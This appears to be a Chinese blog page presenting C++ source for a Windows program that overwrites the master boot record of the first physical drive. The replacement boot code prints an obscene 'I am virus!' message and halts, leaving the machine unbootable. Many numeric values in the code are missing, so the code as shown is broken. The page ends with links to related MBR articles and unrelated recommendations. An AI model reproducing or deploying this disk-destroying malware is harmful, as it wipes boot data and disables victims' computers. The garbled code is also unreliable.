1. #include <windows.h>
  2. #include <winioctl.h>
  3.  
  4. unsigned char scode[] =
  5. "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
  6. "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
  7. "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
  8. /*
  9. 00000000 B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
  10. 00000003 CD10 int 10h ; 进入图形显示方式,隐藏光标
  11. 00000005 BD187C mov bp, Msg ; ES:BP = 串地址
  12. 00000008 B91800 mov cx, 18h ; CX = 串长度
  13. 0000000B B80113 mov ax, 1301h ; AH = 13, AL = 01h
  14. 0000000E BB0C00 mov bx, 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch,高亮)
  15. 00000011 BA1D0E mov dx, 0e1dh ; dh行, dl列
  16. 00000014 CD10 int 10h ; 10h 号中断
  17. 00000016 E2FE loop $
  18. Msg: db "I am virus! Fuck you :-)"
  19. */
  20. int WINAPI WinMain(
  21. HINSTANCE hInstance, // handle to current instance
  22. HINSTANCE hPrevInstance, // handle to previous instance
  23. LPSTR lpCmdLine, // pointer to command line
  24. int nCmdShow // show state of window
  25. )
  26. {
  27. HANDLE hDevice;
  28. DWORD dwBytesWritten, dwBytesReturned;
  29. BYTE pMBR[] = {};
  30.  
  31. // 重新构造MBR
  32. memcpy(pMBR, scode, sizeof(scode) - );
  33. pMBR[] = 0x55;
  34. pMBR[] = 0xAA;
  35.  
  36. hDevice = CreateFile
  37. (
  38. "\\\\.\\PHYSICALDRIVE0",
  39. GENERIC_READ | GENERIC_WRITE,
  40. FILE_SHARE_READ | FILE_SHARE_WRITE,
  41. NULL,
  42. OPEN_EXISTING,
  43. ,
  44. NULL
  45. );
  46. if (hDevice == INVALID_HANDLE_VALUE)
  47. return -;
  48. DeviceIoControl
  49. (
  50. hDevice,
  51. FSCTL_LOCK_VOLUME,
  52. NULL,
  53. ,
  54. NULL,
  55. ,
  56. &dwBytesReturned,
  57. NULL
  58. );
  59. // 写入病毒内容
  60. WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
  61. DeviceIoControl
  62. (
  63. hDevice,
  64. FSCTL_UNLOCK_VOLUME,
  65. NULL,
  66. ,
  67. NULL,
  68. ,
  69. &dwBytesReturned,
  70. NULL
  71. );
  72. CloseHandle(hDevice);
  73. return ;
  74. }

C++写入mbr的更多相关文章

  1. 将grub写入mbr

    现在习惯了开机启动的方法,所以我们把grub重新安装到硬盘的MBR上面. 这个步骤也有两种方法,一是安装grub4dos,然后启动,选中搜索硬盘上的linux引导文件,进入Linux之后再安装grub ...

  2. Bootice1.34版本把grub4dos0.46a写入硬盘MBR失败一个例子

    Bootice1.34版本把grub4dos0.46a写入硬盘MBR失败一个例子         一个同事的台式机,BIOS启动,500GB硬盘,分了四个MBR分区,C盘是激活的主分区,第二个分区50 ...

  3. 双系统如何删除Linux,恢复Windows从MBR引导启动?

    嗯,现在愿意尝试Linux的人越来越多了.通常,如果一台电脑里已经装有了Windows,再装Linux,安装时,Linux的grub引导程 序就会覆盖掉保存在MBR当中的原来的Windows引导程序. ...

  4. 【转载】 硬盘主引导记录(MBR)及其结构详解

    硬盘的0柱面.0磁头.1扇区称为主引导扇区,FDISK程序写到该扇区的内容称为主引导记录(MBR).该记录占用512个字节,它用于硬盘启动时将系统控制权交给用户指定的,并在分区表中登记了的某个操作系统 ...

  5. mbr grub的区别

    mbr是磁盘的物理扇区,不是程序名: 因为BIOS很小,功能有限,为了完成加载操作系统的功能,就产生了mbr: bios检测到一个硬盘后,将硬盘的0柱面.0磁头.1扇区的内容经过简单判断后, 至内存中 ...

  6. 一个改写MBR的例子

    前言 想要对MBR类的病毒进行一下研究与学习,在此期间,看了很多资料,其中帮助最大的就是金龟子学姐和willj学长发表的文章.一个从源码与实现角度来讲了一下,另外一个从反病毒角度来分析.   功能描述 ...

  7. How to create a "BOOT USB DISK" for EXSI6.0

    1 准备工作 opensuse 13.2ESXi ISO文件  //vmware 官网下载 VMware-VMvisor-Installer-5.1.0-799733.x86_64.iso,XXXXX ...

  8. 定制centos安装iso

    参考 https://gist.github.com/pauljeff/4b9ad551cb6c35870d7c https://www.redhat.com/archives/kickstart-l ...

  9. Linux磁盘管理之逻辑结构主引导扇区02

    一.主引导扇区 主引导扇区位于硬盘的0磁道0柱面1扇区,共占用了63个扇区,但实际上只使用了512字节,由三大部分组成: 1.主引导记录MBR(Master Boot Record):占446字节. ...

随机推荐

  1. ArcCatalog连接ArcSDE连接报:unable to create new database connection file,permission is denied

    参考博文:链接 ArcCatalog连接ArcSDE连接报:unable to create new database connection file,permission is denied 最近经 ...

  2. C语言概述

    打印摄氏度 /* 1.1 使用int类型进行计算 */ #include <stdio.h> /* print Fahrenheit-Celsius table for fahr = 0, ...

  3. LightOj 1118 - Incredible Molecules(两圆的交集面积)

    题目链接:http://lightoj.com/volume_showproblem.php?problem=1118 给你两个圆的半径和圆心,求交集的面积: 就是简单数学题,但是要注意acos得到的 ...

  4. Celery 分布式任务队列入门

    一.Celery介绍和基本使用 Celery 是一个 基于python开发的分布式异步消息任务队列,通过它可以轻松的实现任务的异步处理, 如果你的业务场景中需要用到异步任务,就可以考虑使用celery ...

  5. 洛谷P2657 windy数 [SCOI2009] 数位dp

    正解:数位dp 解题报告: 传送门! 这题一看就是个数位dp鸭,"不含前导零且相邻两个数字之差至少为2"这种的 然后就直接套板子鸭(板子戳总结,懒得放链接辣QAQ 然后就是套路 然 ...

  6. Eclipse+Pydev 搭建开发环境(转)

    add by zhj: 对原文略有修改 原文:http://www.cnblogs.com/TankXiao/archive/2013/05/29/3033640.html C#之所以容易让人感兴趣, ...

  7. flask简单的路由分发

    flask简单的路由分发 from flask import Flask, request app = Flask(__name__) @app.route('/hello') def index() ...

  8. li设置float后ul无法包裹li问题解决

    解决办法:灰常简单,只需给ul添加样式 ul{ overflow: auto; } 即可

  9. css实现固定行

    如果实现单行文本的溢出显示省略号同学们应该都知道用text-overflow:ellipsis属性来,当然还需要加宽度width属来兼容部分浏览. 实现方法: overflow: hidden; te ...

  10. spring 装配集合

    1:创建pojo,属性包含集合,集合元素为基本类型 package com.liyafei.pojo; import java.util.List; import java.util.Map; imp ...